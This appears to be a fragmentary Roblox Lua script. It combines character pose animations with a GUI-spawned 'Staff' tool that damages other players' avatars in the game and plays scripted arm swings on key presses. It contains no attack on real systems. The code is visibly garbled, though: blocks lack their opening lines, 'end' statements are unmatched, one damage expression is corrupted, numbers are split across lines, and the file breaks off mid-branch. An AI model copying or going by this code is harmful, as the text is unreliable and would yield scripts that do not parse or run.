invoke.Changed:connect(function()
if invoke.Value ~= 0 then
local valu = invoke.Value
invoke.Value = 0
if invokelist[valu] ~= nil then
invokelist[valu]()
end
end
end)
SetWeld(RS,slidecount,slidecountmax,rs,rsa,Vector3.new(1.5,0.5,0),Vector3.new(-0.1
+ (angle*0.027),0,0.046 - (angle*0.021)))
end
if not cancella then
SetWeld(LS,slidecount,slidecountmax,ls,lsa,Vector3.new(-
1.5,0.5,0),Vector3.new(-0.1 + (angle*0.027),0,-0.046 + (angle*0.021)))
end
if not cancelrl then
SetWeld(RH,slidecount,slidecountmax,rh,rha,Vector3.new(0.5,-
1,0),Vector3.new(-0.05 + (angle*0.018),0,0.01 - (angle*0.005)))
end
if not cancelll then
SetWeld(LH,slidecount,slidecountmax,lh,lha,Vector3.new(-
0.5,-1,0),Vector3.new(-0.05 + (angle*0.018),0,-0.01 + (angle*0.005)))
end
if not canceln then
SetWeld(N,slidecount,slidecountmax,n,na,Vector3.new(0,1,0),Vector3.new(0.04 +
(-angle*0.02),0,0))
end
if not cancelhrp then
SetWeld(HRJ,slidecount,slidecountmax,hrj,hrja,Vector3.new(0,0,0),Vector3.new(0.016
+ (-angle*0.009),0,0))
end
SetWeld(RS,slidecount,slidecountmax,rs,rsa,Vector3.new(1.35,0.66 -
(angle*0.012),0.12),Vector3.new(-0.1 + (angle*0.015),-0.22,0.446 - (angle*0.016)))
end
if not cancella then
SetWeld(LS,slidecount,slidecountmax,ls,lsa,Vector3.new(-
1.35,0.66 - (angle*0.012),0.12),Vector3.new(-0.1 + (angle*0.015),0.22,-0.446 +
(angle*0.016)))
end
if not cancelrl then
SetWeld(RH,slidecount,slidecountmax,rh,rha,Vector3.new(0.55,-1.05,-0.47 -
(angle*0.006)),Vector3.new(-math.pi/2.2 + (angle*0.005),-math.pi/15,0.01 +
(angle*0.005)))
end
if not cancelll then
SetWeld(LH,slidecount,slidecountmax,lh,lha,Vector3.new(-
0.5,0.3,-0.55),Vector3.new(0.3 + (angle*0.01),-math.pi/12,0.08 + (angle*0.005)))
end
if not canceln then
SetWeld(N,slidecount,slidecountmax,n,na,Vector3.new(0,1,0),Vector3.new(0.12 +
(angle*0.004),-math.pi/5,0.1))
end
if not cancelhrp then
SetWeld(HRJ,slidecount,slidecountmax,hrj,hrja,Vector3.new(0,-
1.4,0),Vector3.new(-0.16 + (-angle*0.007),math.pi/5,0))
end
end
end
function Walking()
if script.pose.Value == 0 then
----- regular --------
if not cancelra then
SetWeld(RS,slidecount,slidecountmax,rs,rsa,Vector3.new(1.5,0.5,0),Vector3.new(angle
*0.2,0,-math.abs(angle*0.02)))
end
if not cancella then
SetWeld(LS,slidecount,slidecountmax,ls,lsa,Vector3.new(-
1.5,0.5,0),Vector3.new(-angle*0.2,0,math.abs(angle*0.02)))
end
if not cancelrl then
SetWeld(RH,slidecount,slidecountmax,rh,rha,Vector3.new(0.5,-
1,0),Vector3.new(-angle*0.17,0,math.abs(angle*0.005)))
end
if not cancelll then
SetWeld(LH,slidecount,slidecountmax,lh,lha,Vector3.new(-
0.5,-1,0),Vector3.new(angle*0.17,0,-math.abs(angle*0.005)))
end
if not canceln then
SetWeld(N,slidecount,slidecountmax,n,na,Vector3.new(0,1,0),Vector3.new(0.015 ,-
angle*0.01,0))
end
if not cancelhrp then
SetWeld(HRJ,slidecount,slidecountmax,hrj,hrja,Vector3.new(0,0,0),Vector3.new(-0.015
- math.abs((angle*0.02)),angle*0.01,0))
end
if not cancelmain and Main.Value ~= nil and main ~= nil and maina
~= nil then
SetWeld(Main.Value,slidecount,slidecountmax,main,maina,Vector3.new(0,-
1,0),NV)
end
SetWeld(RS,slidecount,slidecountmax,rs,rsa,Vector3.new(1.35,0.66 +
(angle*0.012),0.12),Vector3.new(0.2 + (angle*0.02),-0.22,0.446 + (angle*0.016)))
end
if not cancella then
SetWeld(LS,slidecount,slidecountmax,ls,lsa,Vector3.new(-
1.35,0.66 + (angle*0.012),0.12),Vector3.new(0.2 + (angle*0.02),0.22,-0.446 -
(angle*0.016)))
end
if not cancelrl then
SetWeld(RH,slidecount,slidecountmax,rh,rha,Vector3.new(0.7,-0.18 -
(cangle*0.04),-0.2 - (angle*0.01)),Vector3.new(0.2 - (angle*0.12),-math.pi/5,0.12 -
(angle*0.06)))
end
if not cancelll then
SetWeld(LH,slidecount,slidecountmax,lh,lha,Vector3.new(-
0.38,-0.32 + (cangle*0.04),-0.45 + (angle*0.01)),Vector3.new(-0.1 + (angle*0.15),-
math.pi/5,-0.07 + (angle*0.07)))
end
if not canceln then
SetWeld(N,slidecount,slidecountmax,n,na,Vector3.new(0,1,0),Vector3.new(0.12 +
(angle*0.004),-math.pi/5 - (angle*0.01),0.1))
end
if not cancelhrp then
SetWeld(HRJ,slidecount,slidecountmax,hrj,hrja,Vector3.new(0,-
0.7,0),Vector3.new(-0.24 + (-angle*0.008),math.pi/5 + (angle*0.01),angle*0.01))
end
end
end
function Running()
if script.pose.Value == 0 then
----- regular --------
if not cancelra then
SetWeld(RS,slidecount,slidecountmax,rs,rsa,Vector3.new(1.5
- math.abs(angle*0.035),0.5 - math.abs(angle*0.02),0),Vector3.new(0.16 +
(angle*0.42),0,-math.abs(angle*0.07)))
end
if not cancella then
SetWeld(LS,slidecount,slidecountmax,ls,lsa,Vector3.new(-1.5
+ math.abs(angle*0.035),0.5 - math.abs(angle*0.02),0),Vector3.new(0.16 + (-
angle*0.42),0,math.abs(angle*0.07)))
end
if not cancelrl then
SetWeld(RH,slidecount,slidecountmax,rh,rha,Vector3.new(0.5,-1 +
math.abs(angle*0.05),0),Vector3.new(-angle*0.3,0,math.abs(angle*0.005)))
end
if not cancelll then
SetWeld(LH,slidecount,slidecountmax,lh,lha,Vector3.new(-
0.5,-1 + math.abs(angle*0.05),0),Vector3.new(angle*0.3,0,-math.abs(angle*0.005)))
end
if not canceln then
SetWeld(N,slidecount,slidecountmax,n,na,Vector3.new(0,1,0),Vector3.new(0.07 +
math.abs(-angle*0.02),-angle*0.03,0))
end
if not cancelhrp then
SetWeld(HRJ,slidecount,slidecountmax,hrj,hrja,Vector3.new(0,0,0),Vector3.new(-0.14
- math.abs(-angle*0.04),angle*0.035,NV))
end
if not cancelmain and Main.Value ~= nil and main ~= nil and maina
~= nil then
SetWeld(Main.Value,slidecount,slidecountmax,main,maina,Vector3.new(0,-
1,0),NV)
end
end
end
function Jumping()
if script.pose.Value == 0 then
----- regular --------
if not cancelra then
SetWeld(RS,slidecount,slidecountmax,rs,rsa,Vector3.new(1.5,0.5,0),Vector3.new(-
0.16,0,0.3 + (angle*0.012)))
end
if not cancella then
SetWeld(LS,slidecount,slidecountmax,ls,lsa,Vector3.new(-
1.5,0.5,0),Vector3.new(-0.16,0,-0.3 - (angle*0.012)))
end
if not cancelrl then
SetWeld(RH,slidecount,slidecountmax,rh,rha,Vector3.new(0.5,-0.8,-
0.05),Vector3.new(-0.28 + (angle*0.02),0,0))
end
if not cancelll then
SetWeld(LH,slidecount,slidecountmax,lh,lha,Vector3.new(-
0.5,-0.45,-0.55),Vector3.new(-0.4 - (angle*0.02),0,0))
end
if not canceln then
SetWeld(N,slidecount,slidecountmax,n,na,Vector3.new(0,1,0),Vector3.new(0.1,-
angle*0.01,0))
end
if not cancelhrp then
SetWeld(HRJ,slidecount,slidecountmax,hrj,hrja,Vector3.new(0,0,0),Vector3.new(0.2 +
(angle*0.002),angle*0.02,0))
end
if not cancelmain and Main.Value ~= nil and main ~= nil and maina
~= nil then
SetWeld(Main.Value,slidecount,slidecountmax,main,maina,Vector3.new(0,-
1,0),NV)
end
SetWeld(RS,slidecount,slidecountmax,rs,rsa,Vector3.new(1.5,0.5,0),Vector3.new(-
0.16,0,0.3 + (angle*0.012)))
end
if not cancella then
SetWeld(LS,slidecount,slidecountmax,ls,lsa,Vector3.new(-
1.5,0.5,0),Vector3.new(-0.16,0,-0.3 - (angle*0.012)))
end
if not cancelrl then
SetWeld(RH,slidecount,slidecountmax,rh,rha,Vector3.new(0.7,-0.8,-
0.05),Vector3.new(-0.28 + (angle*0.001),-math.pi/6,-0.2))
end
if not cancelll then
SetWeld(LH,slidecount,slidecountmax,lh,lha,Vector3.new(-
0.3,-0.45,-0.55),Vector3.new(-0.4 - (angle*0.001),-math.pi/6,-0.2))
end
if not canceln then
SetWeld(N,slidecount,slidecountmax,n,na,Vector3.new(0,1,0),Vector3.new(0.1,-
math.pi/5 - (angle*0.01),0))
end
if not cancelhrp then
SetWeld(HRJ,slidecount,slidecountmax,hrj,hrja,Vector3.new(0,0,0),Vector3.new(-0.07
+ (angle*0.002),math.pi/5 + (angle*0.02),0))
end
if not cancelmain and Main.Value ~= nil and main ~= nil and maina
~= nil then
SetWeld(Main.Value,slidecount,slidecountmax,main,maina,Vector3.new(0,-
1,0),NV)
end
end
end
function Falling()
if script.pose.Value == 0 then
----- regular --------
if not cancelra then
SetWeld(RS,slidecount,slidecountmax,rs,rsa,Vector3.new(1.5,0.5,0),Vector3.new(math.
pi*1.1,0,-0.08 + (angle*0.012)))
end
if not cancella then
SetWeld(LS,slidecount,slidecountmax,ls,lsa,Vector3.new(-
1.5,0.5,0),Vector3.new(math.pi*1.1,0,0.08 - (angle*0.012)))
end
if not cancelrl then
SetWeld(RH,slidecount,slidecountmax,rh,rha,Vector3.new(0.5,-0.45,-
0.55),Vector3.new(-0.4 + (angle*0.02),0,0))
end
if not cancelll then
SetWeld(LH,slidecount,slidecountmax,lh,lha,Vector3.new(-
0.5,-0.8,-0.05),Vector3.new(-0.28 - (angle*0.02),0,0))
end
if not canceln then
SetWeld(N,slidecount,slidecountmax,n,na,Vector3.new(0,1,0),Vector3.new(0.1,-
angle*0.01,0))
end
if not cancelhrp then
SetWeld(HRJ,slidecount,slidecountmax,hrj,hrja,Vector3.new(0,0,0),Vector3.new(-0.2 +
(angle*0.002),angle*0.02,0))
end
if not cancelmain and Main.Value ~= nil and main ~= nil and maina
~= nil then
SetWeld(Main.Value,slidecount,slidecountmax,main,maina,Vector3.new(0,-
1,0),NV)
end
SetWeld(RS,slidecount,slidecountmax,rs,rsa,Vector3.new(1.5,0.65,0),Vector3.new(-
0.1,0,0.3 + (angle*0.012)))
end
if not cancella then
SetWeld(LS,slidecount,slidecountmax,ls,lsa,Vector3.new(-
1.5,0.65,0),Vector3.new(-0.1,0,-0.3 - (angle*0.012)))
end
if not cancelrl then
SetWeld(RH,slidecount,slidecountmax,rh,rha,Vector3.new(0.8,-0.1,-
0.25),Vector3.new(-0.28 + (angle*0.001),-math.pi/6,-0.2))
end
if not cancelll then
SetWeld(LH,slidecount,slidecountmax,lh,lha,Vector3.new(-
0.3,-0.8,-0.55),Vector3.new(-0.4 - (angle*0.001),-math.pi/6,-0.2))
end
if not canceln then
SetWeld(N,slidecount,slidecountmax,n,na,Vector3.new(0,1,0),Vector3.new(0.1,-
math.pi/5 - (angle*0.01),0))
end
if not cancelhrp then
SetWeld(HRJ,slidecount,slidecountmax,hrj,hrja,Vector3.new(0,0,0),Vector3.new(-0.07
+ (angle*0.002),math.pi/5 + (angle*0.02),0))
end
if not cancelmain and Main.Value ~= nil and main ~= nil and maina
~= nil then
SetWeld(Main.Value,slidecount,slidecountmax,main,maina,Vector3.new(0,-
1,0),NV)
end
end
end
game:GetService("RunService").Stepped:connect(function()
count1 = (count1%100) + countspeed
angle = math.pi * math.sin(math.pi*2/100*count1)
cangle = math.pi * math.cos(math.pi*2/100*count1)
------------
end
end
lastpose = script.pose.Value
lastanim = anim
prevvelocity = HRP.Velocity
end)
end)
--
local button = Instance.new("TextButton")
button.Parent = ws
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Staff"
button.Position = UDim2.new(0.5,3,0,165)
button.Size = UDim2.new(0.5,-3,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = "Staff"
button.TextColor3 = whit
button.MouseButton1Down:connect(function()
if script.Parent.className ~= "HopperBin" then
h = Instance.new("HopperBin")
local admin = game.Players.LocalPlayer
h.Name = "Staff"
script.Parent = h
h.Parent = admin.Backpack
end
bin = script.Parent
player = bin.Parent.Parent.Character
rarm = player["Right Arm"]
larm = player["Left Arm"]
player.Humanoid.MaxHealth = 50
visible = true
parts = {}
function Check(pos)
local hurt = false
local players = game.Players:GetChildren()
for i = 1, #players do
if players[i].Character and hurt == false then
local parts = players[i].Character:GetChildren()
for q = 1, #parts do
if parts[q].className == "Part" and hurt == false
then
local range =
math.sqrt(math.pow(parts[q].Size.Z, 2) + math.sqrt(math.pow(parts[q].Size.X, 2) +
math.pow(parts[q].Size.Y, 2)))
if (found - parts[q].Position).magnitude <=
range then
hurt = true
character = parts[q].Parent
humanoid = character.Humanoid
character.Torso.CFrame =
character.Torso.CFrame*CFrame.Angles(2,2,2)-amage(25)
humanoid:TakeDamage(50)
humanoid.Sit = true
end
end
end
end
end
end
function clean(min,thing2)
while min.Humanoid.Health ~= 0 do
local a = game.Players:GetChildren()
for i = 1, #a do
wait()
if (a[i].Character.Torso.Position -
thing2.Position).magnitude < 5 then
a[i].Character.Humanoid:TakeDamage(5)
end
end
wait()
end
min:remove()
end
function fire(v)
local spawnPos = (tip2.CFrame * CFrame.new(0, 1, 0)).p
local HitSpot = RayCast(spawnPos, v)
local distance = (HitSpot - spawnPos).magnitude
start = nil
finish = nil
local num = math.random(3, 10)
for i = distance / num, distance, distance / num do
if start == nil then
start = tip2.CFrame.p
elseif start ~= nil then
start = finish
end
finish = CFrame.new(spawnPos, HitSpot)
if i ~= distance then
finish = (finish * CFrame.new(math.random(-5, 5),
math.random(-1, 1), -i)).p
else
finish = HitSpot
end
local P = Instance.new("Part")
P.Name = "Magic"
P.formFactor = 0
P.Size = Vector3.new(1, 1, (start - finish).magnitude)
P.Parent = game.Workspace
P.BrickColor = BrickColor.new(1006)
P.Anchored = true
P.CanCollide = false
P.TopSurface = "Smooth"
P.BottomSurface = "Smooth"
P.Transparency = 0
m = Instance.new("BlockMesh")
m.Scale = Vector3.new(.25, .25, 1)
m.Offset = Vector3.new(0, -1000, 0)
m.VertexColor = Vector3.new(math.huge, math.huge, math.huge)
m.Parent = P
P.CFrame = CFrame.new(start, finish)
P.CFrame = P.CFrame * CFrame.new(0, 1000, P.Size.Z / -2)
table.insert(parts, P)
game:GetService("Debris"):AddItem(P, 2.5)
end
end
function RayCast(start, v)
while finding do
far = far - 1
if far > 0 then
local see = ray.Position + v
ray.Position = ray.Position + v
if ray.Position ~= see then
finding = false
found = see
end
else
finding = false
found = ray.Position
end
end
ray:remove()
Check(found)
return found
end
function kill(tar)
while tar.Parent.Humanoid.Health ~= 0 do
tar.Parent.Humanoid.Health = tar.Parent.Humanoid.Health -1
wait()
end
end
bin.Selected:connect(function(mouse)
if player.Torso:findFirstChild("Right Shoulder") ~= nil then
rs = player.Torso["Right Shoulder"]
rs.Part1 = nil
end
if player.Torso:findFirstChild("Left Shoulder") ~= nil then
ls = player.Torso["Left Shoulder"]
ls.Part1 = nil
end
if player:FindFirstChild("check") == nil then
rns = Instance.new("Weld")
rns.Parent = player.Torso
rns.Part0 = rns.Parent
rns.Part1 = player["Right Arm"]
rns.C1 = CFrame.new(-1.51,.1,-.05)*CFrame.Angles((math.pi*-.0),
(math.pi*0),(math.pi*-.05))
lns = Instance.new("Weld")
lns.Parent = player.Torso
lns.Part0 = lns.Parent
lns.Part1 = player["Left Arm"]
lns.C1 = CFrame.new(1.51,.1,-.05)*CFrame.Angles((math.pi*-.0),
(math.pi*0),(math.pi*.05))
rblade = Instance.new("Part")
rblade.BrickColor = BrickColor.new(1003)
rblade.Name ="check"
rblade.Parent = player
rblade.CanCollide = false
rblade.Size = Vector3.new(1,8,1)
rblade.formFactor = "Symmetric"
rblade.TopSurface = 0
rblade.BottomSurface = 0
rbm = Instance.new("BlockMesh")
rbm.Parent = rblade
rbm.Scale = Vector3.new(.4,1,.4)
rbw = Instance.new("Weld")
rbw.Parent = rblade
rbw.Part0 = rarm
rbw.Part1 = rblade
rbw.C1 = CFrame.new(0,0,1) *CFrame.Angles((math.pi*.5),
(math.pi*0),(math.pi*0))
tip = Instance.new("Part")
tip.CanCollide = false
tip.TopSurface = 0
tip.BottomSurface = 0
tip.Parent = rblade
tip.Size = Vector3.new(1,1,1)
tip.formFactor = "Symmetric"
tip.BrickColor = BrickColor.new(1004)
tipm = Instance.new("BlockMesh")
tipm.Scale = Vector3.new(.41,.2,.41)
tipm.Parent = tip
tipw = Instance.new("Weld")
tipw.Parent = rblade
tipw.Part0 = rblade
tipw.Part1 = tip
tipw.C1 = CFrame.new(0,3.5,0)
tip2 = Instance.new("Part")
tip2.CanCollide = false
tip2.TopSurface = 0
tip2.BottomSurface = 0
tip2.Parent = rblade
tip2.Size = Vector3.new(1,1,1)
tip2.formFactor = "Symmetric"
tip2.BrickColor = BrickColor.new(1004)
tip2m = Instance.new("BlockMesh")
tip2m.Scale = Vector3.new(.41,.2,.41)
tip2m.Parent = tip2
tip2w = Instance.new("Weld")
tip2w.Parent = rblade
tip2w.Part0 = rblade
tip2w.Part1 = tip2
tip2w.C1 = CFrame.new(0,-3.5,0)
tip3 = Instance.new("Part")
tip3.CanCollide = false
tip3.TopSurface = 0
tip3.BottomSurface = 0
tip3.Parent = rblade
tip3.Size = Vector3.new(1,1,1)
tip3.formFactor = "Symmetric"
tip3.BrickColor = BrickColor.new(1004)
tip3m = Instance.new("BlockMesh")
tip3m.Scale = Vector3.new(.41,.2,.41)
tip3m.Parent = tip3
tip3w = Instance.new("Weld")
tip3w.Parent = rblade
tip3w.Part0 = rblade
tip3w.Part1 = tip3
tip3w.C1 = CFrame.new(0,-.5,0)
tip4 = Instance.new("Part")
tip4.CanCollide = false
tip4.TopSurface = 0
tip4.BottomSurface = 0
tip4.Parent = rblade
tip4.Size = Vector3.new(1,1,1)
tip4.formFactor = "Symmetric"
tip4.BrickColor = BrickColor.new(1004)
tip4m = Instance.new("BlockMesh")
tip4m.Scale = Vector3.new(.41,.2,.41)
tip4m.Parent = tip4
tip4w = Instance.new("Weld")
tip4w.Parent = rblade
tip4w.Part0 = rblade
tip4w.Part1 = tip4
tip4w.C1 = CFrame.new(0,.5,0)
tip5 = Instance.new("Part")
tip5.CanCollide = false
tip5.TopSurface = 0
tip5.BottomSurface = 0
tip5.Parent = rblade
tip5.Size = Vector3.new(1,1,1)
tip5.formFactor = "Symmetric"
tip5.BrickColor = BrickColor.new(1004)
tip5m = Instance.new("BlockMesh")
tip5m.Scale = Vector3.new(.41,.2,.41)
tip5m.Parent = tip5
tip5w = Instance.new("Weld")
tip5w.Parent = rblade
tip5w.Part0 = rblade
tip5w.Part1 = tip5
tip5w.C1 = CFrame.new(0,0,0)
tip6 = Instance.new("Part")
tip6.CanCollide = false
tip6.TopSurface = 0
tip6.BottomSurface = 0
tip6.Parent = rblade
tip6.Size = Vector3.new(1,1,1)
tip6.formFactor = "Symmetric"
tip6.BrickColor = BrickColor.new(1004)
tip6m = Instance.new("BlockMesh")
tip6m.Scale = Vector3.new(.05,.6,.41)
tip6m.Parent = tip6
tip6w = Instance.new("Weld")
tip6w.Parent = rblade
tip6w.Part0 = rblade
tip6w.Part1 = tip6
tip6w.C1 = CFrame.new(0,-3,0)
tip7 = Instance.new("Part")
tip7.CanCollide = false
tip7.TopSurface = 0
tip7.BottomSurface = 0
tip7.Parent = rblade
tip7.Size = Vector3.new(1,1,1)
tip7.formFactor = "Symmetric"
tip7.BrickColor = BrickColor.new(1004)
tip7m = Instance.new("BlockMesh")
tip7m.Scale = Vector3.new(.41,.6,.05)
tip7m.Parent = tip7
tip7w = Instance.new("Weld")
tip7w.Parent = rblade
tip7w.Part0 = rblade
tip7w.Part1 = tip7
tip7w.C1 = CFrame.new(0,-3,0)
tip6a = Instance.new("Part")
tip6a.CanCollide = false
tip6a.TopSurface = 0
tip6a.BottomSurface = 0
tip6a.Parent = rblade
tip6a.Size = Vector3.new(1,1,1)
tip6a.formFactor = "Symmetric"
tip6a.BrickColor = BrickColor.new(1004)
tip6am = Instance.new("BlockMesh")
tip6am.Scale = Vector3.new(.15,.6,.41)
tip6am.Parent = tip6a
tip6aw = Instance.new("Weld")
tip6aw.Parent = rblade
tip6aw.Part0 = rblade
tip6aw.Part1 = tip6a
tip6aw.C1 = CFrame.new(0,-2.5,0)
tip7a = Instance.new("Part")
tip7a.CanCollide = false
tip7a.TopSurface = 0
tip7a.BottomSurface = 0
tip7a.Parent = rblade
tip7a.Size = Vector3.new(1,1,1)
tip7a.formFactor = "Symmetric"
tip7a.BrickColor = BrickColor.new(1004)
tip7am = Instance.new("BlockMesh")
tip7am.Scale = Vector3.new(.41,.6,.15)
tip7am.Parent = tip7a
tip7aw = Instance.new("Weld")
tip7aw.Parent = rblade
tip7aw.Part0 = rblade
tip7aw.Part1 = tip7a
tip7aw.C1 = CFrame.new(0,-2.5,0)
tip6b = Instance.new("Part")
tip6b.CanCollide = false
tip6b.TopSurface = 0
tip6b.BottomSurface = 0
tip6b.Parent = rblade
tip6b.Size = Vector3.new(1,1,1)
tip6b.formFactor = "Symmetric"
tip6b.BrickColor = BrickColor.new(1004)
tip6bm = Instance.new("BlockMesh")
tip6bm.Scale = Vector3.new(.05,.6,.41)
tip6bm.Parent = tip6b
tip6bw = Instance.new("Weld")
tip6bw.Parent = rblade
tip6bw.Part0 = rblade
tip6bw.Part1 = tip6b
tip6bw.C1 = CFrame.new(0,-2,0)
tip7b = Instance.new("Part")
tip7b.CanCollide = false
tip7b.TopSurface = 0
tip7b.BottomSurface = 0
tip7b.Parent = rblade
tip7b.Size = Vector3.new(1,1,1)
tip7b.formFactor = "Symmetric"
tip7b.BrickColor = BrickColor.new(1004)
tip7bm = Instance.new("BlockMesh")
tip7bm.Scale = Vector3.new(.41,.6,.05)
tip7bm.Parent = tip7b
tip7bw = Instance.new("Weld")
tip7bw.Parent = rblade
tip7bw.Part0 = rblade
tip7bw.Part1 = tip7b
tip7bw.C1 = CFrame.new(0,-2,0)
rblade.Touched:connect(function(hit)
if hit.Parent:findFirstChild("Humanoid") ~= nil then
if hit.Parent.Name ~= player.Name then
if hit.Parent.Humanoid.MaxHealth > 100 then
hit.Parent.Humanoid.MaxHealth = 100
end
hit.Parent.Humanoid.Health =
hit.Parent.Humanoid.Health - math.random(5,15)
hit.Parent.Humanoid.Sit = true
for i = 1, (math.random(1,3)) do
wait()
local bleed = Instance.new("Part")
bleed.formFactor = "Symmetric"
bleed.Size = Vector3.new(1,1,1)
bleed.BrickColor = BrickColor.new(1004)
bleed.TopSurface = 0
bleed.BottomSurface = 0
bleed.Reflectance = .1
bleed.Transparency = 0
bleed.Parent = Workspace
bleed.Position = rblade.Position
local bleedm =
Instance.new("SpecialMesh")
bleedm.MeshType = "Sphere"
bleedm.Scale = Vector3.new(.5,.5,.5)
bleedm.Parent = bleed
game:GetService("Debris"):AddItem(bleed,
5)
end
end
end
end)
end
-- animations--
right = rns
staff = rblade
left = lns
up = "right.C1 = CFrame.new(-1.51,.1,-.05)*CFrame.Angles((math.pi*-.0),
(math.pi*0),(math.pi*-.05))wait()right.C1 = CFrame.new(-
1.51,.1,-.05)*CFrame.Angles((math.pi*-.1),(math.pi*0),(math.pi*-.05))wait()right.C1
= CFrame.new(-1.47,.2,-.1)*CFrame.Angles((math.pi*-.2),(math.pi*0),
(math.pi*-.1))wait()right.C1 = CFrame.new(-
1.43,.3,-.15)*CFrame.Angles((math.pi*-.3),(math.pi*0),(math.pi*-.15))wait()right.C1
= CFrame.new(-1.39,.4,-.2)*CFrame.Angles((math.pi*-.4),(math.pi*0),
(math.pi*-.2))wait()right.C1 = CFrame.new(-
1.35,.5,-.25)*CFrame.Angles((math.pi*-.5),(math.pi*0),(math.pi*-.25))"
down = "right.C1 = CFrame.new(-
1.39,.4,-.2)*CFrame.Angles((math.pi*-.4),(math.pi*0),(math.pi*-.2))wait()right.C1 =
CFrame.new(-1.43,.3,-.15)*CFrame.Angles((math.pi*-.3),(math.pi*0),
(math.pi*-.15))wait()right.C1 = CFrame.new(-
1.47,.2,-.1)*CFrame.Angles((math.pi*-.2),(math.pi*0),(math.pi*-.1))wait()right.C1 =
CFrame.new(-1.51,.1,-.05)*CFrame.Angles((math.pi*-.1),(math.pi*0),
(math.pi*-.05))wait()right.C1 = CFrame.new(-
1.51,.1,-.05)*CFrame.Angles((math.pi*-.0),(math.pi*0),(math.pi*-.05))"
-- end of staff
mouse.KeyDown:connect(function(key)
-- moves
if key == "z" then
if rbw.Part0 == rarm then
rbw.Part0 = larm
end
end
if key == "x" then
if rbw.Part0 == larm then
rbw.Part0 = rarm
end
end
if key == "e" then
right.C1 = CFrame.new(-
1.51,.1,-.05)*CFrame.Angles((math.pi*-.0),(math.pi*0),(math.pi*-.05))
wait()
right.C1 = CFrame.new(-
1.51,.1,-.05)*CFrame.Angles((math.pi*-.1),(math.pi*0),(math.pi*-.05))
wait()
right.C1 = CFrame.new(-
1.47,.2,-.1)*CFrame.Angles((math.pi*-.2),(math.pi*0),(math.pi*-.1))
wait()
right.C1 = CFrame.new(-
1.43,.3,-.15)*CFrame.Angles((math.pi*-.3),(math.pi*0),(math.pi*-.15))
wait()
right.C1 = CFrame.new(-
1.39,.4,-.2)*CFrame.Angles((math.pi*-.4),(math.pi*0),(math.pi*-.2))
wait()
right.C1 = CFrame.new(-
1.35,.5,-.25)*CFrame.Angles((math.pi*-.5),(math.pi*0),(math.pi*-.25))
wait(.5)
right.C1 = CFrame.new(-
1.39,.4,-.2)*CFrame.Angles((math.pi*-.4),(math.pi*0),(math.pi*-.2))
wait()
right.C1 = CFrame.new(-
1.43,.3,-.15)*CFrame.Angles((math.pi*-.3),(math.pi*0),(math.pi*-.15))
wait()
right.C1 = CFrame.new(-
1.47,.2,-.1)*CFrame.Angles((math.pi*-.2),(math.pi*0),(math.pi*-.1))
wait()
right.C1 = CFrame.new(-
1.51,.1,-.05)*CFrame.Angles((math.pi*-.1),(math.pi*0),(math.pi*-.05))
wait()
right.C1 = CFrame.new(-
1.51,.1,-.05)*CFrame.Angles((math.pi*-.0),(math.pi*0),(math.pi*-.05))
elseif key == "q" then
left.C1 =
CFrame.new(1.51,.1,-.05)*CFrame.Angles((math.pi*-.0),(math.pi*0),(math.pi*.05))
wait()
left.C1 =
CFrame.new(1.51,.1,-.05)*CFrame.Angles((math.pi*-.1),(math.pi*0),(math.pi*.05))
wait()
left.C1 =
CFrame.new(1.47,.2,-.1)*CFrame.Angles((math.pi*-.2),(math.pi*0),(math.pi*.1))
wait()
left.C1 =
CFrame.new(1.43,.3,-.15)*CFrame.Angles((math.pi*-.3),(math.pi*0),(math.pi*.15))
wait()
left.C1 =
CFrame.new(1.39,.4,-.2)*CFrame.Angles((math.pi*-.4),(math.pi*0),(math.pi*.2))
wait()
left.C1 =
CFrame.new(1.35,.5,-.25)*CFrame.Angles((math.pi*-.5),(math.pi*0),(math.pi*.25))
wait(.5)
left.C1 =
CFrame.new(1.39,.4,-.2)*CFrame.Angles((math.pi*-.4),(math.pi*0),(math.pi*.2))
wait()
left.C1 =
CFrame.new(1.43,.3,-.15)*CFrame.Angles((math.pi*-.3),(math.pi*0),(math.pi*.15))
wait()
left.C1 =
CFrame.new(1.47,.2,-.1)*CFrame.Angles((math.pi*-.2),(math.pi*0),(math.pi*.1))
wait()
left.C1 =
CFrame.new(1.51,.1,-.05)*CFrame.Angles((math.pi*-.1),(math.pi*0),(math.pi*.05))
wait()
left.C1 =
CFrame.new(1.51,.1,-.05)*CFrame.Angles((math.pi*-.0),(math.pi*0),(math.pi*.05))
elseif key == "r" then
left.C1 =
CFrame.new(1.51,.1,-.05)*CFrame.Angles((math.pi*-.0),(math.pi*0),(math.pi*.05))
wait()
left.C1 =
CFrame.new(1.42,0.62,0)*CFrame.Angles((math.pi*0),(math.pi*0),(math.pi*.3))
wait()
left.C1 =
CFrame.new(1.29,0.84,0)*CFrame.Angles((math.pi*0),(math.pi*0),(math.pi*.35))
wait()
left.C1 =
CFrame.new(1.16,1.06,0)*CFrame.Angles((math.pi*0),(math.pi*0),(math.pi*.4))
wait()
left.C1 =
CFrame.new(1.03,1.28,0)*CFrame.Angles((math.pi*0),(math.pi*0),(math.pi*.45))
wait()
left.C1 = CFrame.new(0.9,1.5,0)*CFrame.Angles((math.pi*0),
(math.pi*0),(math.pi*.5))
wait(.2)
left.C1 = CFrame.new(0.9,1.5,-
0.15)*CFrame.Angles((math.pi*-.15),(math.pi*0),(math.pi*.5))
wait()
left.C1 = CFrame.new(0.9,1.5,-
0.30)*CFrame.Angles((math.pi*-.30),(math.pi*0),(math.pi*.5))
wait()
left.C1 = CFrame.new(0.9,1.5,-
0.45)*CFrame.Angles((math.pi*-.45),(math.pi*0),(math.pi*.5))
wait()
left.C1 = CFrame.new(0.9,1.5,-
0.60)*CFrame.Angles((math.pi*-.60),(math.pi*0),(math.pi*.5))
wait()
left.C1 = CFrame.new(0.9,1.5,-
0.75)*CFrame.Angles((math.pi*-.75),(math.pi*0),(math.pi*.5))
wait(.1)
left.C1 =
CFrame.new(1.03,1.28,0)*CFrame.Angles((math.pi*-.60),(math.pi*0),(math.pi*.45))
wait()
left.C1 =
CFrame.new(1.16,1.06,0)*CFrame.Angles((math.pi*-.45),(math.pi*0),(math.pi*.4))
wait()
left.C1 =
CFrame.new(1.29,0.84,0)*CFrame.Angles((math.pi*-.30),(math.pi*0),(math.pi*.35))
wait()
left.C1 =
CFrame.new(1.42,0.62,0)*CFrame.Angles((math.pi*-.15),(math.pi*0),(math.pi*.3))
wait()
left.C1 =
CFrame.new(1.51,.1,-.05)*CFrame.Angles((math.pi*-.0),(math.pi*0),(math.pi*.05))
elseif key == "t" then
